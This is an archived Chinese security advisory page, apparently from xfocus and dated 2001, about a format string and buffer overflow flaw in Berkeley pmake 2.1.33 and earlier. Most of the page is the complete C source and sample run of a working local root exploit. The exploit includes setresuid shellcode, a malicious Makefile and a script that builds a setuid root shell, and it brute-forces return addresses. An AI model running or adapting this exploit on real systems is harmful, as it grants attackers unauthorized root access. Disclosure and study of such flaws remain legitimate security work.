xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Berkeley's pmake 存在缓冲溢出漏洞


发布时间:2001-11-23
更新时间:2001-11-23
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
pmake 2.1.33 和以下的版本。
详细描述
Berkeley's pmake 发现存在格式字符串漏洞,Pmake在多个LINUX版本下以
SUID ROOT安装并使用ROOT权利来绑定低TCP端口。

问题存在与src/job.c中的720行:

                if (! (job->flags & JOB_SILENT) && !shutUp &&
                    commandShell->hasEchoCtl) {
                        DBPRINTF ("%s\n", commandShell->echoOff);
                        DBPRINTF (commandShell->errCheck, cmd);
                        shutUp = TRUE;
                }

和src/str.c的170行:

    register char *tstr; /* Pointer into tstring */
    char tstring[512]; /* Temporary storage for the
                                         * current word */

如果用户在Makefile中对shell追加定义,Pmake可以使用errCheck来输出
格式串,而这个格式串是有用户来提供的。下面的Makefile就存在问题:

all:
        -echo blah


.SHELL : path=/bin/sh echo="" quiet="" hasErrCtl=no check=%x%x%x%x%x

用超过512字符的串来代替'%x'可以导致SIGSEGV。

测试代码
paul@phoenix:~/expl/pmake > ./pm -w+2


*****************************************
* *
* pmake local root exploit *
* by IhaQueR@IRCnet '2001 *
* *
*****************************************




* PHASE 1


        preparing new environment
        cleaning
        preparing shell script
        allocating pipe
        stdout/in preparation
        generating Makefile
        finished setup



* PHASE 2


        digging magic string: 0 1 2 3 4 5 6 7
                                   8 9 10 11 12
        found mark, parsing output
        FOUND magic string with pading=0 output length=1446



* PHASE 3


        looking for write position: 1 * FOUND *
        FOUND write position at index=1
        creating final makefile
        creating shell in the environment



* PHASE 4


        brute force RET: 0xbfff73b0 0xbfff73b4 0xbfff73b8
0xbfff73bc 0xbfff73c0


Paradox, created suid shell at /home/paul/expl/pmake/sush



----------------------------------- pmexpl.c
-----------------------------------


/****************************************************************
* *
* Pmake <= 2.1.33 local root exploit *
* coded by IhaQueR@IRCnet *
* compile with gcc -pmexpl-c -o pm *
* meet me at HAL '2001 *
* *
****************************************************************/






#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>




// some definitions
#define TARGET "/usr/bin/pmake"
#define MKFILE "Makefile"
#define MKMSH "./mkmsh"
#define TMPLEN 256
#define USERSTACK 0xc0000000u
#define NN "\E[m"
#define GR "\E[32m"
#define RD "\E[31m"
#define BL "\E[34m"
#define BD "\E[1m"
#define FL "\E[5m"
#define UL "\E[4m"



extern char **environ;


static const char *banner = "\n"
                                                        BL"*****************************************\n"
                                                        "*\t\t\t\t\t*\n"
                                                        "*\tpmake local root exploit\t*\n"
                                                        "*\tby "FL"IhaQueR@IRCnet"NN BL" '2001\t\t*\n"
                                                        "*\t\t\t\t\t*\n"
                                                        "*****************************************\n"
                                                        "\n"NN;


static const char *usage = "\n"
                                                        UL"USAGE:"NN " %s\t-w <wlen delta, try -32,...,32>\n"
                                                        "\t\t-s <shell addr>\n"
                                                        "\t\t-a <ret addr 0xbfff73c0 for orig SuSE 7.1 and pmake
2.1.33>\n"
                                                        "\t\t-m <attempts>\n"
                                                        "\t\t-p <%%g preload>\n"
                                                        "\n";


static const char *mkfile = "all:\n\t-echo blah\n\n.SHELL : path=/bin/sh
echo=\"\" quiet=\"\" hasErrCtl=no check=";


// setresuid(0,0,0) shellcode
static char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
                                                "\xb0\xa4\xcd\x80"
                                                "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
                                                "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
                                                "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";


// our suid shell maker
static char mkmsh[] = "#!/bin/bash\n"
                                                "cat <<__DUPA__>sush.c\n"
                                                "#include <stdio.h>\n"
                                                "#include <unistd.h>\n"
                                                "main() {setuid(geteuid()); execl(\"/bin/bash\", \"/bin/bash\",
NULL);}\n"
                                                "__DUPA__\n"
                                                "gcc sush.c -o sush >/dev/null 2>&1\n"
                                                "chown 0.0 sush\n"
                                                "chmod u+s sush\n";


static char *fromenv[] = { "TERM",
                                                        "HOME",
                                                        "PATH"
                                                };


#define numenv (sizeof(fromenv)/sizeof(char*)+2)


static char *myenv[numenv];
static char eb[numenv][TMPLEN];


int cn=0;



void child_kill(int v)
{
                cn--;
}



int do_fork()
{
                cn++;
                return fork();
}



int main(int ac, char** av)
{
int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;
unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;
unsigned char *ptr;
char buf[16384];
char buf2[16384];
char aaaa[1024*32];
char head[64];
struct stat sb;
fd_set rs;



// setup defaults
// shell address is calculated from user stack location and the big nop
buffer...should work :-/
                shadr = USERSTACK - sizeof(aaaa)/2;
                wadr = 0xbfff73b0;
                mx = 512;
                gprel=150;
                wdel=0;


                setpgrp();
                setsid();


                printf(banner);


// parse options
                if(ac!=1) {
                        res = getopt(ac, av, "hw:s:a:m:p:");
                        while(res!=-1) {
                                switch(res) {
                                case 'w' :
                                        wdel = atoi(optarg);
                                        break;


                                case 's' :
                                        sscanf(optarg, "%x", &shadr);
                                        break;


                                case 'a' :
                                        sscanf(optarg, "%x", &wadr);
                                        break;


                                case 'm' :
                                        sscanf(optarg, "%d", &mx);
                                        break;


                                case 'p' :
                                        sscanf(optarg, "%d", &gprel);
                                        if(gprel==0)
                                                gprel=1;
                                        break;


                                case 'h' :
                                default :
                                        printf(usage, av[0]);
                                        exit(0);
                                        break;
                                }
                                res = getopt(ac, av, "hw:s:a:m:p:");
                        }
                }



// phase 1 : setup
                printf("\n\n"BD BL"* PHASE 1\n"NN);


// prepare environ
                printf("\n\tpreparing new environment");
                memset(aaaa, 'A', sizeof(aaaa));
                aaaa[4]='=';
                up=(unsigned*)(aaaa+5);
                for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)
                        up[i]=0x41424344;
                aaaa[sizeof(aaaa)-1]=0;
                len1=strlen(aaaa);


// buffer overflow :-)
                myenv[0]=aaaa;
                for(i=1; i<numenv-1; i++) {
                        myenv[i]=eb[i-1];
                        strcpy(eb[i-1], fromenv[i-1]);
                        if(!strchr(fromenv[i-1], '=')) {
                                strcat(eb[i-1], "=");
                                strcat(eb[i-1], getenv(fromenv[i-1]));
                        }
                }
                myenv[numenv-1]=NULL;


// clean
                printf("\n\tcleaning");
                unlink("LOCK.make");
                unlink("sush");
                unlink("sush.c");
                unlink("mkmsh");
                system("rm -rf /tmp/make* >/dev/null 2>&1");


// our suid shell
                printf("\n\tpreparing shell script");
                mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);
                if(mk<0)
                        perror("open"), exit(1);
                write(mk, mkmsh, strlen(mkmsh));
                close(mk);


// comm pipe
                printf("\n\tallocating pipe");
                res = pipe(pd);
                if(res<0)
                        perror("pipe"), exit(2);


// redirect stdin/out
                printf("\n\tstdout/in preparation");
                res = dup2(pd[1], 2);
                if(res<0)
                        perror("dup2"), exit(3);


                fd = open("/dev/null", O_RDWR);
                if(fd<0)
                        perror("open"), exit(4);


// our makefile
                printf("\n\tgenerating Makefile");
                mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);
                if(mk<0)
                        perror("open"), exit(5);
                write(mk, mkfile, strlen(mkfile));
                for(i=0; i<gprel; i++)
                        write(mk, "%g", 2);
                fsync(mk);


// child killer
                printf("\n\tfinished setup");
                if(signal(SIGCHLD, &child_kill)==SIG_ERR)
                        perror("signal"), exit(6);



// phase 2 : dig format string
                printf("\n\n\n" BD BL "* PHASE 2\n"NN);
                printf("\n\tdigging magic string:\t");


                cnt=0;
                while(1) {


                        lseek(mk, -2, SEEK_CUR);
                        write(mk, "%g%x", 4);
                        fsync(mk);
                        usleep(1);


                        pid = do_fork();


// get child output
                        if(pid) {
                                printf("%4d ", cnt);
                                fflush(stdout);


                                do {
                                        bzero(buf, sizeof(buf));
                                        res = read(pd[0], buf, sizeof(buf)-1);
                                        if(res > 128) {
                                                break;
                                        }
                                } while(1);
                                kill(SIGTERM, pid);
                                usleep(1);
                                waitpid(pid, NULL, WUNTRACED);
                                bzero(buf2, sizeof(buf2));
                                read(pd[0], buf2, sizeof(buf2)-1);
                                if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)
                                        read(pd[0], buf2, sizeof(buf2)-1);


// look for padding
                                pad=-1;
                                if(strstr(buf, "41424344")) {
                                        pad=0;
                                }
                                else if(strstr(buf, "42434441")) {
                                        pad=1;
                                }
                                else if(strstr(buf, "43444142")) {
                                        pad=2;
                                }
                                else if(strstr(buf, "44414243")) {
                                        pad=3;
                                }


// if got the mark parse output for final string
                                if(pad!=-1) {
                                        printf("\n\tfound mark, parsing output");
                                        ptr = strtok(buf, "\t\n ");
                                        while(ptr) {
                                                if(strlen(ptr)>64)
                                                        break;
                                                ptr = strtok(NULL, "\t\n ");
                                        }


// calculate write length -6, -8 hm I'm dunno about the 16?
                                        wlen=strlen(ptr)+wdel-16;
                                        printf("\n\tFOUND magic string with pading=%d output length=%d",
pad, wlen);



// PHASE 3 : find write pos in aaaa
                                        printf("\n\n\n" BD BL "* PHASE 3\n"NN);


                                        printf("\n\tlooking for write position: ");


                                        up=(unsigned*)(aaaa+5-pad);
                                        cnt=0;


                                        for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {
                                                old=up[i];
                                                up[i]=0xabcdef67;
                                                printf("%4d ", i);
                                                sprintf(head, "%x", up[i]);
                                                fflush(stdout);


                                                if(cn)
                                                        read(pd[0], buf2, sizeof(buf2)-1);
                                                pid = do_fork();
                                                if(pid) {
                                                        do {
                                                                bzero(buf, sizeof(buf));
                                                                FD_ZERO(&rs);
                                                                FD_SET(pd[0], &rs);
                                                                select(pd[0]+1, &rs, NULL, NULL, NULL);
                                                                res = read(pd[0], buf, sizeof(buf)-1);
                                                                if(res > 128) {
                                                                        break;
                                                                }
                                                        } while(1);
                                                        kill(SIGTERM, pid);
                                                        usleep(1);
                                                        read(pd[0], buf2, sizeof(buf2)-1);


// up[i] is now the place for the beginning of our address field
                                                        if(strstr(buf, head)) {
                                                                printf(" * FOUND *");
                                                                fflush(stdout);
                                                                up[i]=old;
                                                                idx=i;
                                                                printf("\n\tFOUND write position at index=%d", i);
                                                                up[i]=old;
                                                                ptr = strtok(buf, "\t\n ");
                                                                while(ptr) {
                                                                        if(strlen(ptr)>64)
                                                                                break;
                                                                        ptr = strtok(NULL, "\t\n ");
                                                                }


// construct write 'head':
                                                                printf("\n\tcreating final makefile");
                                                                fflush(stdout);
                                                                lseek(mk, -2, SEEK_CUR);


                                                                ptr = (unsigned char*)&shadr;
                                                                for(j=0; j<4; j++) {
                                                                        flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));
                                                                        wlen = wlen + flip;
                                                                        sprintf(head+j*8, "%%%04dx%%n", flip);
                                                                }
                                                                head[32] = 0;
                                                                write(mk, head, strlen(head));


// brute force RET on the stack upon success
                                                                printf("\n\tcreating shell in the environment");


// create env shell
                                                                ptr = (unsigned char*)&(up[i+2*10]);
                                                                while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {
                                                                        *ptr=0x90;
                                                                        ptr++;
                                                                }


                                                                strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,
strlen(hellcode));
                                                                aaaa[sizeof(aaaa)-1]=0;
                                                                if(len1!=strlen(aaaa)) {
                                                                        printf(BD RD"\nERROR: len changed!\n"NN);
                                                                        exit(7);
                                                                }


// phase 4: brute force
                                                                printf("\n\n\n"BD BL"* PHASE 4\n"NN);
                                                                printf("\n\tbrute force RET:\t");
                                                                fflush(stdout);
                                                                cnt=0;


                                                                while(cnt<mx) {


                                                                        for(j=0; j<4; j++) {
                                                                                up[idx+2*j] = wadr + j%4;
                                                                                up[idx+2*j+1] = wadr + j%4;
                                                                        }


                                                                        pid = do_fork();
                                                                        if(pid) {
                                                                                printf(" 0x%.8x", wadr);
                                                                                fflush(stdout);
                                                                                waitpid(pid, NULL, WUNTRACED);
                                                                                res = stat("sush", &sb);
                                                                                if(!res && sb.st_uid==0) {
                                                                                        printf(BD GR"\n\nParadox, created suid shell at
%s/sush\n\n"NN, getcwd(buf, sizeof(buf)-1));
                                                                                        system("rm -rf /tmp/make* >/dev/null 2>&1");
                                                                                        exit(0);
                                                                                }
                                                                        }
                                                                        else {
                                                                                res = dup2(fd, 1);
                                                                                if(res<0)
                                                                                        perror("dup2"), exit(8);
                                                                                res = dup2(fd, 2);
                                                                                if(res<0)
                                                                                        perror("dup2"), exit(9);


                                                                                execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
                                                                                _exit(10);
                                                                        }
                                                                        if(cnt%8==7)
                                                                                printf("\n\t\t\t\t");
                                                                        cnt++;
                                                                        wadr += 4;
                                                                }
// failure
                                                                printf(BD RD"\nFAILED :-("NN);
                                                                system("rm -rf /tmp/make* >/dev/null 2>&1");
                                                                exit(11);
                                                        }
                                                }
                                                else {
                                                        res = dup2(fd, 1);
                                                        if(res<0)
                                                                perror("dup2"), exit(12);
                                                        execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
                                                        exit(13);
                                                }
                                                up[i]=old;
                                                waitpid(pid, NULL, WUNTRACED);
                                        }


                                        printf(BD RD"\n\tstrange error, write pos not found!\n"NN);
                                        system("rm -rf /tmp/make* >/dev/null 2>&1");
                                        exit(14);


                                        ptr = strtok(buf, "\n");
                                        while(ptr) {
                                                printf("\nLINE [%s]", ptr);
                                                ptr = strtok(NULL, "\n");
                                        }


                                        exit(15);
                                }


// start target and read output
                        }
                        else {
                                res = dup2(fd, 1);
                                if(res<0)
                                        perror("dup2"), exit(16);
                                execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
                                exit(17);
                        }


                        if(cnt%8==7)
                                printf("\n\t\t\t\t");
                        cnt++;
                }


                printf(BD RD"\nFAILED\n"NN);
                system("rm -rf /tmp/make* >/dev/null 2>&1");


return 0;
}

解决方案
尚无

相关信息
Paul Starzetz (paul@starzetz.de)
参考:http://archives.neohapsis.com/archives/bugtraq/2001-11/0172.html